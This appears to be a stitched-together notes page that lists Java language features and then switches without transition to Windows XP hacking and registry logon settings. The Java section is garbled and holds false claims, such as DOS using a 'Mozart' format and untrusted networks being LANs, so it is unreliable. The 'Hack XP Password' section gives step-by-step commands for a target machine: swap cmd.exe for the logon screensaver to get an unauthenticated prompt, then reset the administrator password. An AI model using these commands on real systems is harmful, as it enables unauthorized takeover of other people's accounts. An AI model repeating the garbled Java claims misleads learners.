Features of Java

FEATURES of java:

1. Simple

2. Platform independent

3. Architectural neutral

4. Portable

5. Multi threading

6. Distributed

7. Networked

8. Robust

9. Dynamic

10. Secured

11. High performance

12. Interpreted

13. Object Oriented Programming Language

1. Simple: JAVA is simple because of the following factors:

i. JAVA is free from pointers hence we can achieve less development time and less execution time [whenever we write a JAVA program we write without pointers and internally it is converted into the equivalent pointer program].

ii. Rich set of API (application protocol interface) is available to develop any complex application.

iii. The software JAVA contains a program called garbage collector which is always used to collect unreferenced (unused) memory location for improving performance of a JAVA program. [Garbage collector is the system JAVA program which runs in the background along with regular JAVA program to collect unreferenced memory locations by running at periodical interval of times for improving performance of JAVA applications.

iv. JAVA contains user friendly syntax’s for developing JAVA applications.

2. Platform Independent: A program or technology is said to be platform independent if and only if which can run on all available operating systems. The languages like C, Cpp are treated as platform dependent languages since these languages are taking various amount of memory spaces on various operating systems [the operating system dos understands everything in the form of its native format called Mozart (MZ) whereas the operating system Unix understands everything in its negative format called embedded linking format (elf). When we write a C or Cpp program on dos operating and if we

try to transfer that program to Unix operating system, we are unable to execute since the format of these operating systems are different and more over the C, Cpp software does not contain any special programs which converts one format of one operating system to another format of other operating system].

The language like JAVA will have a common data types and the common memory spaces on all operating systems and the JAVA software contains the special programs which converts the format of one operating system to another format of other operating system. Hence JAVA language is treated as platform independent language.

[JAVA language is also treated as server independent language since the server side program can run on any of the server which is available in the real world (web server or application server). JAVA can retrieve or store the data in any one of the data base product which is available in rest world irrespective of their vendors (developers) hence JAVA language is product independent language.

In order to deal with server side program from the client side, we can use C language client program, Cpp client program, DOT NET client program, etc. hence JAVA language is a simple, platform independent, server independent, data base/product independent and language independent programming language].

3. Architectural Neutral: A language or technology is said to be processors in the real world. The language like JAVA can run on any of the processor irrespective of their vendor.

4. Portable: A portable language is one which can run on all operating systems and on all processors

irrespective their architectures portable languages whereas the language architectural neutral which can run on any available The languages like C, Cpp are treated as architectural dependent and providers. The languages like C, Cpp are treated as JAVA is called portable language.

5. Multi Threading: Definitions:

1. A flow of control is known as Thread.

2.A multi threaded program is one in which there exists multiple flow of controls i.e, threads.

3. A program is said to be multi threaded program if and only of there exists n number of sub programs.       For each and every sub program there exits a separate flow if control.

4. The languages like C, Cpp are treated as threads as single thereaded modeling langugaes(STML). STML are those in which there exists single flow of controls.

5. The languages like JAVA and .Net are treated as multi threaded modeling languages(MTMl). 

MTML are those in which there exist Multiple flows of controls.

6. Whenever we write a java program there exits by default two threads. They are foreground/child thread and background/main/parent thread.

7. A foreground thread is one which always executes user defined sub-programs. In a java program is a possibility of existing n number of foreground threads.

8. A background thread is one which always monitors the status of forground thread. in each and every java program there exist only one background thread.

9. Hence background thread will be created first and later forground thread will be created.

6. Distributed: A service is a said to be a distributed service which runs in multiple service can be accessed by n number of clients across the globe. In order to develop distributed applications we must require arechitecture called trusted network architecture. To develope these applications we require a technology called J2EE. Distributed applications are preferred by large scale organizations.

7. Networked:

In real world we have two types of networks. They are un-trusted networks and trusted networks.

Un-trusted networks: A network is said to be un-trusted network in which there exists n number of inter

connected non-autonomous architecture. untrusted network is also known as LAN.

Trusted network: A network is said to be trusted network in which there exists n number of inter connected autonomous architecture. Trusted network is also known as WAN.

Hack XP Password

If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly. Forget about the explanations as it is for the sake of clarity purpose Command Expalnation


cd\ *drops to root


cd\windows\system32 *directs to the system32 dir


mkdir temphack *creates the folder temphack


copy logon.scr temphack\logon.scr *backsup logon.scr


copy cmd.exe temphack\cmd.exe *backsup cmd.exe


del logon.scr *deletes original logon.scr


rename cmd.exe logon.scr *renames cmd.exe to logon.scr


exit *quits dos


Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP. Once this happens if you enter this command minus the quotes "net user here> password" If the Administrator Account is called Frank and you want the password blah enter this "net user Frank blah" and this changes the password on franks machine to blah and you should be in.

Control User Logins by Hacking the Registry

To control logon options, run the Registry Editor [Hack #83] and go to the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion Winlogon subkey, which contains a variety of logon settings (as well as some settings not having to do directly with logons). Following are the most important values you can edit to customize logons. 


DontDisplayLastUserName This setting lets you control how the system logon dialog box is used. If this String value is present and set to 1, all users will have to enter both their username and password to log on. If the value is 0, the name of the last user to log on will be
displayed in the system logon dialog box.


DefaultUserName This String value contains the name of the last user who logged on. It will be displayed only if the DontDisplayLastUserName value is not present or is set to 0.
LegalNoticeCaption and LegalNoticeText// Already discussed 


PasswordExpiryWarning This DWORD value lets you display a warning message to users a certain number of days before their passwords are set to expire. It lets you determine how many days ahead of time the warning should be issued. To edit the value, click the decimal
button and enter the number of days.


ShutdownWithoutLogon This String value enables or disables a button on the XP logon dialog box that lets the system shut down. A value of 1 enables the button (so that it is shown); a value of 0  disables the button (so that it is not shown).


Shell It determines the shellthe user interfacethat will be used by XP. The default is Explorer.exe, but it can be another shell as wellfor example, the Program Manager from older Windows versions. Type in the name of the program; for example, Progman.exe for the Program Manager, or Taskman.exe for the Task Manager.


AutoRestartShell This DWORD value doesn't have to do with logons either, but it's another good one to know. It sets whether to automatically restart the Windows shell if the shell crashes. A value of 1 automatically restarts the shell. A value of 0 tells XP not to restart the shell, forcing you to log off and then back on again to restart it.